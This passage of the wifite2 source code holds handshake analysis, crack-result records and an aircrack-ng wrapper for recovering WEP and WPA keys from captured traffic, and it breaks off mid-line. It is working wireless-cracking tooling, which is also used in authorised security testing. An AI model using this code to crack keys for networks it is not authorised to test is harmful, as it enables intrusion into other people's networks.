capfile 15 | self.bssid = bssid 16 | self.essid = essid 17 | 18 | 19 | def divine_bssid_and_essid(self): 20 | ''' 21 | Tries to find BSSID and ESSID from cap file. 22 | Sets this instances 'bssid' and 'essid' instance fields. 23 | ''' 24 | 25 | # We can get BSSID from the .cap filename if Wifite captured it. 26 | # ESSID is stripped of non-printable characters, so we can't rely on that. 27 | if self.bssid is None: 28 | hs_regex = re.compile(r'^.*handshake_\w+_([0-9A-F\-]{17})_.*\.cap$', re.IGNORECASE) 29 | match = hs_regex.match(self.capfile) 30 | if match: 31 | self.bssid = match.group(1).replace('-', ':') 32 | 33 | # Get list of bssid/essid pairs from cap file 34 | pairs = Tshark.bssid_essid_pairs(self.capfile, bssid=self.bssid) 35 | 36 | if len(pairs) == 0: 37 | pairs = self.pyrit_handshakes() # Find bssid/essid pairs that have handshakes in Pyrit 38 | 39 | if len(pairs) == 0 and not self.bssid and not self.essid: 40 | # Tshark and Pyrit failed us, nothing else we can do. 41 | raise ValueError('Cannot find BSSID or ESSID in cap file %s' % self.capfile) 42 | 43 | if not self.essid and not self.bssid: 44 | # We do not know the bssid nor the essid 45 | # TODO: Display menu for user to select from list 46 | # HACK: Just use the first one we see 47 | self.bssid = pairs[0][0] 48 | self.essid = pairs[0][1] 49 | Color.pl('{!} {O}Warning{W}: {O}Arbitrarily selected ' + 50 | '{R}bssid{O} {C}%s{O} and {R}essid{O} "{C}%s{O}"{W}' % (self.bssid, self.essid)) 51 | 52 | elif not self.bssid: 53 | # We already know essid 54 | for (bssid, essid) in pairs: 55 | if self.essid == essid: 56 | Color.pl('{+} Discovered bssid {C}%s{W}' % bssid) 57 | self.bssid = bssid 58 | break 59 | 60 | elif not self.essid: 61 | # We already know bssid 62 | for (bssid, essid) in pairs: 63 | if self.bssid.lower() == bssid.lower(): 64 | Color.pl('{+} Discovered essid "{C}%s{W}"' % essid) 65 | self.essid = essid 66 | break 67 | 68 | 69 | def has_handshake(self): 70 | if not self.bssid or not self.essid: 71 | self.divine_bssid_and_essid() 72 | 73 | if len(self.tshark_handshakes()) > 0: return True 74 | if len(self.pyrit_handshakes()) > 0: return True 75 | 76 | # TODO: Can we trust cowpatty & aircrack? 77 | #if len(self.cowpatty_handshakes()) > 0: return True 78 | #if len(self.aircrack_handshakes()) > 0: return True 79 | 80 | return False 81 | 82 | 83 | def tshark_handshakes(self): 84 | '''Returns list[tuple] of BSSID & ESSID pairs (ESSIDs are always `None`).''' 85 | tshark_bssids = Tshark.bssids_with_handshakes(self.capfile, bssid=self.bssid) 86 | return [(bssid, None) for bssid in tshark_bssids] 87 | 88 | 89 | def cowpatty_handshakes(self): 90 | '''Returns list[tuple] of BSSID & ESSID pairs (BSSIDs are always `None`).''' 91 | if not Process.exists('cowpatty'): 92 | return [] 93 | if not self.essid: 94 | return [] # We need a essid for cowpatty :( 95 | 96 | command = [ 97 | 'cowpatty', 98 | '-r', self.capfile, 99 | '-s', self.essid, 100 | '-c' # Check for handshake 101 | ] 102 | 103 | proc = Process(command, devnull=False) 104 | for line in proc.stdout().split('\n'): 105 | if 'Collected all necessary data to mount crack against WPA' in line: 106 | return [(None, self.essid)] 107 | return [] 108 | 109 | 110 | def pyrit_handshakes(self): 111 | '''Returns list[tuple] of BSSID & ESSID pairs.''' 112 | return Pyrit.bssid_essid_with_handshakes( 113 | self.capfile, bssid=self.bssid, essid=self.essid) 114 | 115 | 116 | def aircrack_handshakes(self): 117 | '''Returns tuple (BSSID,None) if aircrack thinks self.capfile contains a handshake / can be cracked''' 118 | if not self.bssid: 119 | return [] # Aircrack requires BSSID 120 | 121 | command = 'echo "" | aircrack-ng -a 2 -w - -b %s "%s"' % (self.bssid, self.capfile) 122 | (stdout, stderr) = Process.call(command) 123 | 124 | if 'passphrase not in dictionary' in stdout.lower(): 125 | return [(self.bssid, None)] 126 | else: 127 | return [] 128 | 129 | 130 | def analyze(self): 131 | '''Prints analysis of handshake capfile''' 132 | self.divine_bssid_and_essid() 133 | 134 | if Tshark.exists(): 135 | Handshake.print_pairs(self.tshark_handshakes(), self.capfile, 'tshark') 136 | 137 | if Pyrit.exists(): 138 | Handshake.print_pairs(self.pyrit_handshakes(), self.capfile, 'pyrit') 139 | 140 | if Process.exists('cowpatty'): 141 | Handshake.print_pairs(self.cowpatty_handshakes(), self.capfile, 'cowpatty') 142 | 143 | Handshake.print_pairs(self.aircrack_handshakes(), self.capfile, 'aircrack') 144 | 145 | 146 | def strip(self, outfile=None): 147 | # XXX: This method might break aircrack-ng, use at own risk. 148 | ''' 149 | Strips out packets from handshake that aren't necessary to crack. 150 | Leaves only handshake packets and SSID broadcast (for discovery). 151 | Args: 152 | outfile - Filename to save stripped handshake to. 153 | If outfile==None, overwrite existing self.capfile. 154 | ''' 155 | if not outfile: 156 | outfile = self.capfile + '.temp' 157 | replace_existing_file = True 158 | else: 159 | replace_existing_file = False 160 | 161 | cmd = [ 162 | 'tshark', 163 | '-r', self.capfile, # input file 164 | '-Y', 'wlan.fc.type_subtype == 0x08 || wlan.fc.type_subtype == 0x05 || eapol', # filter 165 | '-w', outfile # output file 166 | ] 167 | proc = Process(cmd) 168 | proc.wait() 169 | if replace_existing_file: 170 | from shutil import copy 171 | copy(outfile, self.capfile) 172 | os.remove(outfile) 173 | pass 174 | 175 | 176 | @staticmethod 177 | def print_pairs(pairs, capfile, tool=None): 178 | ''' 179 | Prints out BSSID and/or ESSID given a list of tuples (bssid,essid) 180 | ''' 181 | tool_str = '' 182 | if tool is not None: 183 | tool_str = '{C}%s{W}: ' % tool.rjust(8) 184 | 185 | if len(pairs) == 0: 186 | Color.pl('{!} %s.cap file {R}does not{O} contain a valid handshake{W}' % (tool_str)) 187 | return 188 | 189 | for (bssid, essid) in pairs: 190 | out_str = '{+} %s.cap file {G}contains a valid handshake{W} for' % tool_str 191 | if bssid and essid: 192 | Color.pl('%s {G}%s{W} ({G}%s{W})' % (out_str, bssid, essid)) 193 | elif bssid: 194 | Color.pl('%s {G}%s{W}' % (out_str, bssid)) 195 | elif essid: 196 | Color.pl('%s ({G}%s{W})' % (out_str, essid)) 197 | 198 | 199 | @staticmethod 200 | def check(): 201 | ''' Analyzes .cap file(s) for handshake ''' 202 | from ..config import Configuration 203 | if Configuration.check_handshake == '': 204 | Color.pl('{+} checking all handshakes in {G}"./hs"{W} directory\n') 205 | try: 206 | capfiles = [os.path.join('hs', x) for x in os.listdir('hs') if x.endswith('.cap')] 207 | except OSError as e: 208 | capfiles = [] 209 | if len(capfiles) == 0: 210 | Color.pl('{!} {R}no .cap files found in {O}"./hs"{W}\n') 211 | else: 212 | capfiles = [Configuration.check_handshake] 213 | 214 | for capfile in capfiles: 215 | Color.pl('{+} checking for handshake in .cap file {C}%s{W}' % capfile) 216 | if not os.path.exists(capfile): 217 | Color.pl('{!} {O}.cap file {C}%s{O} not found{W}' % capfile) 218 | return 219 | hs = Handshake(capfile, bssid=Configuration.target_bssid, essid=Configuration.target_essid) 220 | hs.analyze() 221 | Color.pl('') 222 | 223 | 224 | if __name__ == '__main__': 225 | print('With BSSID & ESSID specified:') 226 | hs = Handshake('./tests/files/handshake_has_1234.cap', bssid='18:d6:c7:6d:6b:18', essid='YZWifi') 227 | hs.analyze() 228 | print('has_hanshake() =', hs.has_handshake()) 229 | 230 | print('\nWith BSSID, but no ESSID specified:') 231 | hs = Handshake('./tests/files/handshake_has_1234.cap', bssid='18:d6:c7:6d:6b:18') 232 | hs.analyze() 233 | print('has_hanshake() =', hs.has_handshake()) 234 | 235 | print('\nWith ESSID, but no BSSID specified:') 236 | hs = Handshake('./tests/files/handshake_has_1234.cap', essid='YZWifi') 237 | hs.analyze() 238 | print('has_hanshake() =', hs.has_handshake()) 239 | 240 | print('\nWith neither BSSID nor ESSID specified:') 241 | hs = Handshake('./tests/files/handshake_has_1234.cap') 242 | try: 243 | hs.analyze() 244 | print('has_hanshake() =', hs.has_handshake()) 245 | except Exception as e: 246 | Color.pl('{O}Error during Handshake.analyze(): {R}%s{W}' % e) 247 | -------------------------------------------------------------------------------- /wifite/model/pmkid_result.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | from ..util.color import Color 5 | from .result import CrackResult 6 | 7 | class CrackResultPMKID(CrackResult): 8 | def __init__(self, bssid, essid, pmkid_file, key): 9 | self.result_type = 'PMKID' 10 | self.bssid = bssid 11 | self.essid = essid 12 | self.pmkid_file = pmkid_file 13 | self.key = key 14 | super(CrackResultPMKID, self).__init__() 15 | 16 | def dump(self): 17 | if self.essid: 18 | Color.pl('{+} %s: {C}%s{W}' % 19 | ('Access Point Name'.rjust(19), self.essid)) 20 | if self.bssid: 21 | Color.pl('{+} %s: {C}%s{W}' % 22 | ('Access Point BSSID'.rjust(19), self.bssid)) 23 | Color.pl('{+} %s: {C}%s{W}' % 24 | ('Encryption'.rjust(19), self.result_type)) 25 | if self.pmkid_file: 26 | Color.pl('{+} %s: {C}%s{W}' % 27 | ('PMKID File'.rjust(19), self.pmkid_file)) 28 | if self.key: 29 | Color.pl('{+} %s: {G}%s{W}' % ('PSK (password)'.rjust(19), self.key)) 30 | else: 31 | Color.pl('{!} %s {O}key unknown{W}' % ''.rjust(19)) 32 | 33 | def print_single_line(self, longest_essid): 34 | self.print_single_line_prefix(longest_essid) 35 | Color.p('{G}%s{W}' % 'PMKID'.ljust(5)) 36 | Color.p(' ') 37 | Color.p('Key: {G}%s{W}' % self.key) 38 | Color.pl('') 39 | 40 | def to_dict(self): 41 | return { 42 | 'type' : self.result_type, 43 | 'date' : self.date, 44 | 'essid' : self.essid, 45 | 'bssid' : self.bssid, 46 | 'key' : self.key, 47 | 'pmkid_file' : self.pmkid_file 48 | } 49 | 50 | if __name__ == '__main__': 51 | w = CrackResultPMKID('AA:BB:CC:DD:EE:FF', 'Test Router', 'hs/pmkid_blah-123213.16800', 'abcd1234') 52 | w.dump() 53 | 54 | w = CrackResultPMKID('AA:BB:CC:DD:EE:FF', 'Test Router', 'hs/pmkid_blah-123213.16800', 'Key') 55 | print('\n') 56 | w.dump() 57 | w.save() 58 | print(w.__dict__['bssid']) 59 | 60 | 61 | -------------------------------------------------------------------------------- /wifite/model/result.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | from ..util.color import Color 5 | from ..config import Configuration 6 | 7 | import os 8 | import time 9 | from json import loads, dumps 10 | 11 | class CrackResult(object): 12 | ''' Abstract class containing results from a crack session ''' 13 | 14 | # File to save cracks to, in PWD 15 | cracked_file = Configuration.cracked_file 16 | 17 | def __init__(self): 18 | self.date = int(time.time()) 19 | self.readable_date = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(self.date)) 20 | 21 | def dump(self): 22 | raise Exception('Unimplemented method: dump()') 23 | 24 | def to_dict(self): 25 | raise Exception('Unimplemented method: to_dict()') 26 | 27 | def print_single_line(self, longest_essid): 28 | raise Exception('Unimplemented method: print_single_line()') 29 | 30 | def print_single_line_prefix(self, longest_essid): 31 | essid = self.essid if self.essid else 'N/A' 32 | Color.p('{W} ') 33 | Color.p('{C}%s{W}' % essid.ljust(longest_essid)) 34 | Color.p(' ') 35 | Color.p('{GR}%s{W}' % self.bssid.ljust(17)) 36 | Color.p(' ') 37 | Color.p('{D}%s{W}' % self.readable_date.ljust(19)) 38 | Color.p(' ') 39 | 40 | def save(self): 41 | ''' Adds this crack result to the cracked file and saves it. ''' 42 | name = CrackResult.cracked_file 43 | saved_results = [] 44 | if os.path.exists(name): 45 | with open(name, 'r') as fid: 46 | text = fid.read() 47 | try: 48 | saved_results = loads(text) 49 | except Exception as e: 50 | Color.pl('{!} error while loading %s: %s' % (name, str(e))) 51 | 52 | # Check for duplicates 53 | this_dict = self.to_dict() 54 | this_dict.pop('date') 55 | for entry in saved_results: 56 | this_dict['date'] = entry.get('date') 57 | if entry == this_dict: 58 | # Skip if we already saved this BSSID+ESSID+TYPE+KEY 59 | Color.pl('{+} {C}%s{O} already exists in {G}%s{O}, skipping.' % ( 60 | self.essid, Configuration.cracked_file)) 61 | return 62 | 63 | saved_results.append(self.to_dict()) 64 | with open(name, 'w') as fid: 65 | fid.write(dumps(saved_results, indent=2)) 66 | Color.pl('{+} saved crack result to {C}%s{W} ({G}%d total{W})' 67 | % (name, len(saved_results))) 68 | 69 | @classmethod 70 | def display(cls): 71 | ''' Show cracked targets from cracked file ''' 72 | name = cls.cracked_file 73 | if not os.path.exists(name): 74 | Color.pl('{!} {O}file {C}%s{O} not found{W}' % name) 75 | return 76 | 77 | with open(name, 'r') as fid: 78 | cracked_targets = loads(fid.read()) 79 | 80 | if len(cracked_targets) == 0: 81 | Color.pl('{!} {R}no results found in {O}%s{W}' % name) 82 | return 83 | 84 | Color.pl('\n{+} Displaying {G}%d{W} cracked target(s) from {C}%s{W}\n' % ( 85 | len(cracked_targets), name)) 86 | 87 | results = sorted([cls.load(item) for item in cracked_targets], key=lambda x: x.date, reverse=True) 88 | longest_essid = max([len(result.essid or 'ESSID') for result in results]) 89 | 90 | # Header 91 | Color.p('{D} ') 92 | Color.p('ESSID'.ljust(longest_essid)) 93 | Color.p(' ') 94 | Color.p('BSSID'.ljust(17)) 95 | Color.p(' ') 96 | Color.p('DATE'.ljust(19)) 97 | Color.p(' ') 98 | Color.p('TYPE'.ljust(5)) 99 | Color.p(' ') 100 | Color.p('KEY') 101 | Color.pl('{D}') 102 | Color.p(' ' + '-' * (longest_essid + 17 + 19 + 5 + 11 + 12)) 103 | Color.pl('{W}') 104 | # Results 105 | for result in results: 106 | result.print_single_line(longest_essid) 107 | Color.pl('') 108 | 109 | 110 | @classmethod 111 | def load_all(cls): 112 | if not os.path.exists(cls.cracked_file): return [] 113 | with open(cls.cracked_file, 'r') as json_file: 114 | json = loads(json_file.read()) 115 | return json 116 | 117 | @staticmethod 118 | def load(json): 119 | ''' Returns an instance of the appropriate object given a json instance ''' 120 | if json['type'] == 'WPA': 121 | from .wpa_result import CrackResultWPA 122 | result = CrackResultWPA(json['bssid'], 123 | json['essid'], 124 | json['handshake_file'], 125 | json['key']) 126 | elif json['type'] == 'WEP': 127 | from .wep_result import CrackResultWEP 128 | result = CrackResultWEP(json['bssid'], 129 | json['essid'], 130 | json['hex_key'], 131 | json['ascii_key']) 132 | 133 | elif json['type'] == 'WPS': 134 | from .wps_result import CrackResultWPS 135 | result = CrackResultWPS(json['bssid'], 136 | json['essid'], 137 | json['pin'], 138 | json['psk']) 139 | 140 | elif json['type'] == 'PMKID': 141 | from .pmkid_result import CrackResultPMKID 142 | result = CrackResultPMKID(json['bssid'], 143 | json['essid'], 144 | json['pmkid_file'], 145 | json['key']) 146 | result.date = json['date'] 147 | result.readable_date = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(result.date)) 148 | return result 149 | 150 | if __name__ == '__main__': 151 | # Deserialize WPA object 152 | Color.pl('\nCracked WPA:') 153 | json = loads('{"bssid": "AA:BB:CC:DD:EE:FF", "essid": "Test Router", "key": "Key", "date": 1433402428, "handshake_file": "hs/capfile.cap", "type": "WPA"}') 154 | obj = CrackResult.load(json) 155 | obj.dump() 156 | 157 | # Deserialize WEP object 158 | Color.pl('\nCracked WEP:') 159 | json = loads('{"bssid": "AA:BB:CC:DD:EE:FF", "hex_key": "00:01:02:03:04", "ascii_key": "abcde", "essid": "Test Router", "date": 1433402915, "type": "WEP"}') 160 | obj = CrackResult.load(json) 161 | obj.dump() 162 | 163 | # Deserialize WPS object 164 | Color.pl('\nCracked WPS:') 165 | json = loads('{"psk": "the psk", "bssid": "AA:BB:CC:DD:EE:FF", "pin": "01234567", "essid": "Test Router", "date": 1433403278, "type": "WPS"}') 166 | obj = CrackResult.load(json) 167 | obj.dump() 168 | -------------------------------------------------------------------------------- /wifite/model/target.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | from ..util.color import Color 5 | 6 | import re 7 | 8 | 9 | class WPSState: 10 | NONE, UNLOCKED, LOCKED, UNKNOWN = range(0, 4) 11 | 12 | 13 | class Target(object): 14 | ''' 15 | Holds details for a 'Target' aka Access Point (e.g. router). 16 | ''' 17 | 18 | def __init__(self, fields): 19 | ''' 20 | Initializes & stores target info based on fields. 21 | Args: 22 | Fields - List of strings 23 | INDEX KEY EXAMPLE 24 | 0 BSSID (00:1D:D5:9B:11:00) 25 | 1 First time seen (2015-05-27 19:28:43) 26 | 2 Last time seen (2015-05-27 19:28:46) 27 | 3 channel (6) 28 | 4 Speed (54) 29 | 5 Privacy (WPA2) 30 | 6 Cipher (CCMP TKIP) 31 | 7 Authentication (PSK) 32 | 8 Power (-62) 33 | 9 beacons (2) 34 | 10 # IV (0) 35 | 11 LAN IP (0. 0. 0. 0) 36 | 12 ID-length (9) 37 | 13 ESSID (HOME-ABCD) 38 | 14 Key () 39 | ''' 40 | self.bssid = fields[0].strip() 41 | self.channel = fields[3].strip() 42 | 43 | self.encryption = fields[5].strip() 44 | if 'WPA' in self.encryption: 45 | self.encryption = 'WPA' 46 | elif 'WEP' in self.encryption: 47 | self.encryption = 'WEP' 48 | if len(self.encryption) > 4: 49 | self.encryption = self.encryption[0:4].strip() 50 | 51 | self.power = int(fields[8].strip()) 52 | if self.power < 0: 53 | self.power += 100 54 | 55 | self.beacons = int(fields[9].strip()) 56 | self.ivs = int(fields[10].strip()) 57 | 58 | self.essid_known = True 59 | self.essid_len = int(fields[12].strip()) 60 | self.essid = fields[13] 61 | if self.essid == '\\x00' * self.essid_len or \ 62 | self.essid == 'x00' * self.essid_len or \ 63 | self.essid.strip() == '': 64 | # Don't display '\x00...' for hidden ESSIDs 65 | self.essid = None # '(%s)' % self.bssid 66 | self.essid_known = False 67 | 68 | self.wps = WPSState.UNKNOWN 69 | 70 | self.decloaked = False # If ESSID was hidden but we decloaked it. 71 | 72 | self.clients = [] 73 | 74 | self.validate() 75 | 76 | def validate(self): 77 | ''' Checks that the target is valid. ''' 78 | if self.channel == '-1': 79 | raise Exception('Ignoring target with Negative-One (-1) channel') 80 | 81 | # Filter broadcast/multicast BSSIDs, see https://github.com/derv82/wifite2/issues/32 82 | bssid_broadcast = re.compile(r'^(ff:ff:ff:ff:ff:ff|00:00:00:00:00:00)$', re.IGNORECASE) 83 | if bssid_broadcast.match(self.bssid): 84 | raise Exception('Ignoring target with Broadcast BSSID (%s)' % self.bssid) 85 | 86 | bssid_multicast = re.compile(r'^(01:00:5e|01:80:c2|33:33)', re.IGNORECASE) 87 | if bssid_multicast.match(self.bssid): 88 | raise Exception('Ignoring target with Multicast BSSID (%s)' % self.bssid) 89 | 90 | def to_str(self, show_bssid=False): 91 | ''' 92 | *Colored* string representation of this Target. 93 | Specifically formatted for the 'scanning' table view. 94 | ''' 95 | 96 | max_essid_len = 24 97 | essid = self.essid if self.essid_known else '(%s)' % self.bssid 98 | # Trim ESSID (router name) if needed 99 | if len(essid) > max_essid_len: 100 | essid = essid[0:max_essid_len-3] + '...' 101 | else: 102 | essid = essid.rjust(max_essid_len) 103 | 104 | if self.essid_known: 105 | # Known ESSID 106 | essid = Color.s('{C}%s' % essid) 107 | else: 108 | # Unknown ESSID 109 | essid = Color.s('{O}%s' % essid) 110 | 111 | # Add a '*' if we decloaked the ESSID 112 | decloaked_char = '*' if self.decloaked else ' ' 113 | essid += Color.s('{P}%s' % decloaked_char) 114 | 115 | if show_bssid: 116 | bssid = Color.s('{O}%s ' % self.bssid) 117 | else: 118 | bssid = '' 119 | 120 | channel_color = '{G}' 121 | if int(self.channel) > 14: 122 | channel_color = '{C}' 123 | channel = Color.s('%s%s' % (channel_color, str(self.channel).rjust(3))) 124 | 125 | encryption = self.encryption.rjust(4) 126 | if 'WEP' in encryption: 127 | encryption = Color.s('{G}%s' % encryption) 128 | elif 'WPA' in encryption: 129 | encryption = Color.s('{O}%s' % encryption) 130 | 131 | power = '%sdb' % str(self.power).rjust(3) 132 | if self.power > 50: 133 | color ='G' 134 | elif self.power > 35: 135 | color = 'O' 136 | else: 137 | color = 'R' 138 | power = Color.s('{%s}%s' % (color, power)) 139 | 140 | if self.wps == WPSState.UNLOCKED: 141 | wps = Color.s('{G} yes') 142 | elif self.wps == WPSState.NONE: 143 | wps = Color.s('{O} no') 144 | elif self.wps == WPSState.LOCKED: 145 | wps = Color.s('{R}lock') 146 | elif self.wps == WPSState.UNKNOWN: 147 | wps = Color.s('{O} n/a') 148 | 149 | clients = ' ' 150 | if len(self.clients) > 0: 151 | clients = Color.s('{G} ' + str(len(self.clients))) 152 | 153 | result = '%s %s%s %s %s %s %s' % ( 154 | essid, bssid, channel, encryption, power, wps, clients) 155 | result += Color.s('{W}') 156 | return result 157 | 158 | 159 | if __name__ == '__main__': 160 | fields = 'AA:BB:CC:DD:EE:FF,2015-05-27 19:28:44,2015-05-27 19:28:46,1,54,WPA2,CCMP TKIP,PSK,-58,2,0,0.0.0.0,9,HOME-ABCD,'.split(',') 161 | t = Target(fields) 162 | t.clients.append('asdf') 163 | t.clients.append('asdf') 164 | print(t.to_str()) 165 | 166 | -------------------------------------------------------------------------------- /wifite/model/wep_result.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | from ..util.color import Color 5 | from .result import CrackResult 6 | 7 | import time 8 | 9 | class CrackResultWEP(CrackResult): 10 | def __init__(self, bssid, essid, hex_key, ascii_key): 11 | self.result_type = 'WEP' 12 | self.bssid = bssid 13 | self.essid = essid 14 | self.hex_key = hex_key 15 | self.ascii_key = ascii_key 16 | super(CrackResultWEP, self).__init__() 17 | 18 | def dump(self): 19 | if self.essid: 20 | Color.pl('{+} ESSID: {C}%s{W}' % self.essid) 21 | Color.pl('{+} BSSID: {C}%s{W}' % self.bssid) 22 | Color.pl('{+} Encryption: {C}%s{W}' % self.result_type) 23 | Color.pl('{+} Hex Key: {G}%s{W}' % self.hex_key) 24 | if self.ascii_key: 25 | Color.pl('{+} Ascii Key: {G}%s{W}' % self.ascii_key) 26 | 27 | def print_single_line(self, longest_essid): 28 | self.print_single_line_prefix(longest_essid) 29 | Color.p('{G}%s{W}' % 'WEP'.ljust(5)) 30 | Color.p(' ') 31 | Color.p('Hex: {G}%s{W}' % self.hex_key.replace(':', '')) 32 | if self.ascii_key: 33 | Color.p(' (ASCII: {G}%s{W})' % self.ascii_key) 34 | Color.pl('') 35 | 36 | def to_dict(self): 37 | return { 38 | 'type' : self.result_type, 39 | 'date' : self.date, 40 | 'essid' : self.essid, 41 | 'bssid' : self.bssid, 42 | 'hex_key' : self.hex_key, 43 | 'ascii_key' : self.ascii_key 44 | } 45 | 46 | if __name__ == '__main__': 47 | crw = CrackResultWEP('AA:BB:CC:DD:EE:FF', 'Test Router', '00:01:02:03:04', 'abcde') 48 | crw.dump() 49 | crw.save() 50 | 51 | -------------------------------------------------------------------------------- /wifite/model/wpa_result.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | from ..util.color import Color 5 | from .result import CrackResult 6 | 7 | class CrackResultWPA(CrackResult): 8 | def __init__(self, bssid, essid, handshake_file, key): 9 | self.result_type = 'WPA' 10 | self.bssid = bssid 11 | self.essid = essid 12 | self.handshake_file = handshake_file 13 | self.key = key 14 | super(CrackResultWPA, self).__init__() 15 | 16 | def dump(self): 17 | if self.essid: 18 | Color.pl('{+} %s: {C}%s{W}' % 19 | ('Access Point Name'.rjust(19), self.essid)) 20 | if self.bssid: 21 | Color.pl('{+} %s: {C}%s{W}' % 22 | ('Access Point BSSID'.rjust(19), self.bssid)) 23 | Color.pl('{+} %s: {C}%s{W}' % 24 | ('Encryption'.rjust(19), self.result_type)) 25 | if self.handshake_file: 26 | Color.pl('{+} %s: {C}%s{W}' % 27 | ('Handshake File'.rjust(19), self.handshake_file)) 28 | if self.key: 29 | Color.pl('{+} %s: {G}%s{W}' % ('PSK (password)'.rjust(19), self.key)) 30 | else: 31 | Color.pl('{!} %s {O}key unknown{W}' % ''.rjust(19)) 32 | 33 | def print_single_line(self, longest_essid): 34 | self.print_single_line_prefix(longest_essid) 35 | Color.p('{G}%s{W}' % 'WPA'.ljust(5)) 36 | Color.p(' ') 37 | Color.p('Key: {G}%s{W}' % self.key) 38 | Color.pl('') 39 | 40 | def to_dict(self): 41 | return { 42 | 'type' : self.result_type, 43 | 'date' : self.date, 44 | 'essid' : self.essid, 45 | 'bssid' : self.bssid, 46 | 'key' : self.key, 47 | 'handshake_file' : self.handshake_file 48 | } 49 | 50 | if __name__ == '__main__': 51 | w = CrackResultWPA('AA:BB:CC:DD:EE:FF', 'Test Router', 'hs/capfile.cap', 'abcd1234') 52 | w.dump() 53 | 54 | w = CrackResultWPA('AA:BB:CC:DD:EE:FF', 'Test Router', 'hs/capfile.cap', 'Key') 55 | print('\n') 56 | w.dump() 57 | w.save() 58 | print(w.__dict__['bssid']) 59 | 60 | -------------------------------------------------------------------------------- /wifite/model/wps_result.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | from ..util.color import Color 5 | from ..model.result import CrackResult 6 | 7 | import time 8 | 9 | class CrackResultWPS(CrackResult): 10 | def __init__(self, bssid, essid, pin, psk): 11 | self.result_type = 'WPS' 12 | self.bssid = bssid 13 | self.essid = essid 14 | self.pin = pin 15 | self.psk = psk 16 | super(CrackResultWPS, self).__init__() 17 | 18 | def dump(self): 19 | if self.essid is not None: 20 | Color.pl('{+} %s: {C}%s{W}' % ( 'ESSID'.rjust(12), self.essid)) 21 | if self.psk is None: 22 | psk = '{O}N/A{W}' 23 | else: 24 | psk = '{G}%s{W}' % self.psk 25 | Color.pl('{+} %s: {C}%s{W}' % ( 'BSSID'.rjust(12), self.bssid)) 26 | Color.pl('{+} %s: {C}WPA{W} ({C}WPS{W})' % 'Encryption'.rjust(12)) 27 | Color.pl('{+} %s: {G}%s{W}' % ( 'WPS PIN'.rjust(12), self.pin)) 28 | Color.pl('{+} %s: {G}%s{W}' % ('PSK/Password'.rjust(12), psk)) 29 | 30 | def print_single_line(self, longest_essid): 31 | self.print_single_line_prefix(longest_essid) 32 | Color.p('{G}%s{W}' % 'WPS'.ljust(5)) 33 | Color.p(' ') 34 | if self.psk: 35 | Color.p('Key: {G}%s{W} ' % self.psk) 36 | Color.p('PIN: {G}%s{W}' % self.pin) 37 | Color.pl('') 38 | 39 | def to_dict(self): 40 | return { 41 | 'type' : self.result_type, 42 | 'date' : self.date, 43 | 'essid' : self.essid, 44 | 'bssid' : self.bssid, 45 | 'pin' : self.pin, 46 | 'psk' : self.psk 47 | } 48 | 49 | if __name__ == '__main__': 50 | crw = CrackResultWPS('AA:BB:CC:DD:EE:FF', 'Test Router', '01234567', 'the psk') 51 | crw.dump() 52 | crw.save() 53 | 54 | -------------------------------------------------------------------------------- /wifite/tools/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/derv82/wifite2/e190794149f488f9c4a2801962e5165b29e71b5e/wifite/tools/__init__.py -------------------------------------------------------------------------------- /wifite/tools/aircrack.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | from .dependency import Dependency 5 | from ..util.process import Process 6 | from ..util.input import xrange 7 | from ..config import Configuration 8 | 9 | import os 10 | import re 11 | 12 | class Aircrack(Dependency): 13 | dependency_required = True 14 | dependency_name = 'aircrack-ng' 15 | dependency_url = 'https://www.aircrack-ng.org/install.html' 16 | 17 | def __init__(self, ivs_file=None): 18 | 19 | self.cracked_file = os.path.abspath( 20 | os.path.join( 21 | Configuration.temp(), 'wepkey.txt')) 22 | 23 | # Delete previous cracked files 24 | if os.path.exists(self.cracked_file): 25 | os.remove(self.cracked_file) 26 | 27 | command = [ 28 | 'aircrack-ng', 29 | '-a', '1', 30 | '-l', self.cracked_file, 31 | ] 32 | if type(ivs_file) is str: 33 | ivs_file = [ivs_file] 34 | 35 | command.extend(ivs_file) 36 | 37 | self.pid = Process(command, devnull=True) 38 | 39 | 40 | def is_running(self): 41 | return self.pid.poll() is None 42 | 43 | def is_cracked(self): 44 | return os.path.exists(self.cracked_file) 45 | 46 | def stop(self): 47 | ''' Stops aircrack process ''' 48 | if self.pid.poll() is None: 49 | self.pid.interrupt() 50 | 51 | def get_key_hex_ascii(self): 52 | if not self.is_cracked(): 53 | raise Exception('Cracked file not found') 54 | 55 | with open(self.cracked_file, 'r') as fid: 56 | hex_raw = fid.read() 57 | 58 | return self._hex_and_ascii_key(hex_raw) 59 | 60 | @staticmethod 61 | def _hex_and_ascii_key(hex_raw): 62 | hex_chars = [] 63 | ascii_key = '' 64 | for index in xrange(0, len(hex_raw), 2): 65 | byt = hex_raw[index:index+2] 66 | hex_chars.append(byt) 67 | byt_int = int(byt, 16) 68 | if byt_int < 32 or byt_int > 127 or ascii_key is None: 69 | ascii_key = None # Not printable 70 | else: 71 | ascii_key += chr(byt_int) 72 | 73 | hex_key = ':'.join(hex_chars) 74 | 75 | return (hex_key, ascii_key) 76 | 77 | def __del__(self): 78 | if os.path.exists(self.cracked_file): 79 | os.remove(self.cracked_file) 80 | 81 | 82 | @staticmethod 83 | def crack_handshake(handshake, show_command=False): 84 | from ..util.color import Color 85 | from ..util.timer import Timer 86 | '''Tries to crack a handshake. Returns WPA key if found, otherwise None.''' 87 | 88 | key_file = Configuration.temp('wpakey.txt') 89 | command = [ 90 | 'aircrack-ng', 91 | '-a', '2', 92 | '-w', Configuration.wordlist, 93 | '--bssid', handshake.bssid, 94 | '-l', key_file, 95 | handshake.capfile 96 | ] 97 | if show_command: 98 | Color.pl('{+} {D}Running: {W}{P}%s{W}' % ' 